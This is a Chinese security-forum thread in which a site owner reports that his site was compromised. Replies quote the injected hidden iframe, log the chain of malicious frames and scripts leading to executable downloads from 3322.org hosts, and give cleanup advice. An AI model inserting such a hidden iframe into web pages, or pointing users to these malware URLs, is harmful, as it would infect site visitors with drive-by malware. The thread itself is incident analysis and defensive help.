瑞星卡卡安全论坛技术交流区恶意网站交流 我的网站被挂马了,郁闷!!谁能帮帮我啊

1   1  /  1  页   跳转

我的网站被挂马了,郁闷!!谁能帮帮我啊

我的网站被挂马了,郁闷!!谁能帮帮我啊

我的网站地址:www.dt286.com



挂马站点:http://momowo123.3322.org

用户系统信息:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.2; GreenBrowser)
分享到:
gototop
 

回复:我的网站被挂马了,郁闷!!谁能帮帮我啊

网站首页代码第一行被加入了<iframe src=http://kao**.3322.org/*****/**.htm?2 width=100 height=0></iframe>然后就是 ,可以放心的是瑞星可以拦截病毒和恶意脚本
gototop
 

回复:我的网站被挂马了,郁闷!!谁能帮帮我啊

Log is generated by FreShow.
[wide]http://www.dt286.com/
    [frame]http://kaosini123.3322.org/a/a1.htm?2(所挂恶意链接地址)
        [frame]http://kaosini123.3322.org/a/163.htm
            [frame]http://kaosini123.3322.org/a/ggqm.htm
                [object]http://hu280.3322.org/web/activex.exe
            [script]http://kaosini123.3322.org/a/js.js
                [frame]http://kaosini123.3322.org/a/gg14.htm
                    [script]http://kaosini123.3322.org/a/14.js
                        [object]http://exe316.com/web/xp.exe
                    [script]http://kaosini123.3322.org/a/15.js
                    [script]http://kaosini123.3322.org/a/16.js
                [frame]http://kaosini123.3322.org/a/ggfl.htm
                [frame]http://kaosini123.3322.org/a/ggff.htm
                [frame]http://kaosini123.3322.org/a/ggvod.htm
                [frame]http://kaosini123.3322.org/a/e.htm
                [frame]http://kaosini123.3322.org/a/ggbb.htm
                [frame]http://kaosini123.3322.org/a/ggr.htm
        [script]http://kaosini123.3322.org/a/\"http:\/\/js.tongji.cn.yahoo.com\/1079417\/ystat.js\"
        [script]http://s56.cnzz.com/stat.php?id=1408266&web_id=1408266
    [script]http://www.dt286.com/templates/default22/js/common.js
    [script]http://www.dt286.com/templates/default22/js/common0.js
    [script]http://www.dt286.com/include/js/ajax.js
    [script]http://www.dt286.com/include/js/common.js
    [script]http://www.dt286.com/templates/default22/js/common0.js
    [script]http://www.dt286.com/batch.panel.php?rand=193604
    [frame]http://news.sina.com.cn/iframe/2008/weather/jump_new.html
    [script]http://s103.cnzz.com/stat.php?id=1395494&web_id=1395494
gototop
 

回复:我的网站被挂马了,郁闷!!谁能帮帮我啊

在网站源代码中搜索http://kaosini123.3322.org/a/a1.htm?2,将其清除,建议网站服务器打全系统补丁包括第三方应用程序的补丁,设置健壮开机密码,网站服务器如使用sql数据库,建议设置健壮的sa密码。
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT